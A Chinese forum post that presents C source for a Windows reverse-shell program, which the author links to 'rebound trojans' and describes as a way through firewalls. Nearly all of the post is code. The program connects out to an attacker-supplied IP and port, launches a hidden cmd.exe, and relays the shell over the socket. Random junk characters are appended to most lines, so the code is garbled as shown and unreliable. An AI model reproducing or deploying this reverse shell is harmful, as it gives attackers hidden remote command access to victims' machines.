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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ljNwt  
2@zduL'do_  
/* ============================== "17)`Yf  
Rebound port in Windows NT Sr aZxuPg>  
By wind,2006/7 qLDj\%~(  
===============================*/ elCYH9W^  
#include !'jq.RawP  
#include ^U_T<x8{  
!,[#,oy;  
#pragma comment(lib,"wsock32.lib") yXR1 NYg  
:DN!1~ZtW  
void OutputShell(); n(F!t,S1i  
SOCKET sClient; r.H`3m.0q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )r9 9zdUk  
!uEEuD#  
void main(int argc,char **argv) BY6#dlDi  
{ o{s2T)2  
WSADATA stWsaData; ,5n!a.T  
int nRet; } GB~3 J  
SOCKADDR_IN stSaiClient,stSaiServer; jfxNV2[  
wX"hUu  
if(argc != 3) i?6&4  
{ G68KoM  
printf("Useage:\n\rRebound DestIP DestPort\n"); !,Uo{@E)Y  
return; M5`v^>  
} IK2da@V  
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WSAStartup(MAKEWORD(2,2),&stWsaData); C& +MRP  
r[L%ap\{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ")|/\ w,  
\HeJc:^  
stSaiClient.sin_family = AF_INET; h&<"jCjL  
stSaiClient.sin_port = htons(0); $xbC^ k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cfLLFPhv)  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;>J!$B?,  
{ T+0=Ou"N  
printf("Bind Socket Failed!\n"); ob.<j  
return; &uNec( c  
} _ .vG)  
} !m43x/&  
stSaiServer.sin_family = AF_INET; /Y7^!3uM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <&5z0rDKWw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pp"X0  
\H] |5fp*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uAO!fE}CJ  
{ >f]/VaMH{  
printf("Connect Error!"); RaJTya^  
return; v ccH(T  
} t%=7v)IOE  
OutputShell(); E=sh^Q(A  
} TjW!-s?S  
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void OutputShell() /%T/@y  
{ !m@cTB7i   
char szBuff[1024]; Ds`e-X)O;\  
SECURITY_ATTRIBUTES stSecurityAttributes; smn"]K  
OSVERSIONINFO stOsversionInfo; MpCPY"WLL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;KL7SM%g4  
STARTUPINFO stStartupInfo; D#g -mqar:  
char *szShell; E'QAsU8pP  
PROCESS_INFORMATION stProcessInformation; ; vH2r~  
unsigned long lBytesRead; 0]DOiA  
#dauXUKH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kuEXNi1l  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E2e"A I.h  
stSecurityAttributes.lpSecurityDescriptor = 0; 4>gfLK\R:  
stSecurityAttributes.bInheritHandle = TRUE; 1b5Z^a<u  
]>n{~4a  
(t4i&7-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Oyl~j #h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uF7vba$  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5GsmBf$RUb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z74JyY  
stStartupInfo.wShowWindow = SW_HIDE; Kr}RFJ"d  
stStartupInfo.hStdInput = hReadPipe; BIx*t9wA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t>bzo6cj  
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GetVersionEx(&stOsversionInfo); _H+]G"k/r  
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switch(stOsversionInfo.dwPlatformId) 5aQ)qUgAW  
{ Ua1&eC Zi  
case 1: Vk6c^/v  
szShell = "command.com"; Etz#+R&*  
break; V6g*"e/8  
default: T^A(v(^D  
szShell = "cmd.exe"; *lfjsrPu  
break; S^QEctXU  
} (m/:B= K  
JX59n%$@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K9<8FSn  
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send(sClient,szMsg,77,0); (XZ[-M7  
while(1) GBz? $]6  
{ aBA oSn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8F sQLeOE  
if(lBytesRead) OM EwGr(  
{ pH'Tx>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wT@Z|.)  
send(sClient,szBuff,lBytesRead,0); iq;\},  
} 579Q&|L.  
else e,(Vy  
{ YD4I2'E  
lBytesRead=recv(sClient,szBuff,1024,0); $Itmm/M  
if(lBytesRead<=0) break; "*lx9bvV_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WB jJ)vCA.  
} Kzev] er  
} ,:S#gN{U  
F/v.hP_  
return; !r/i<~'Bx  
}
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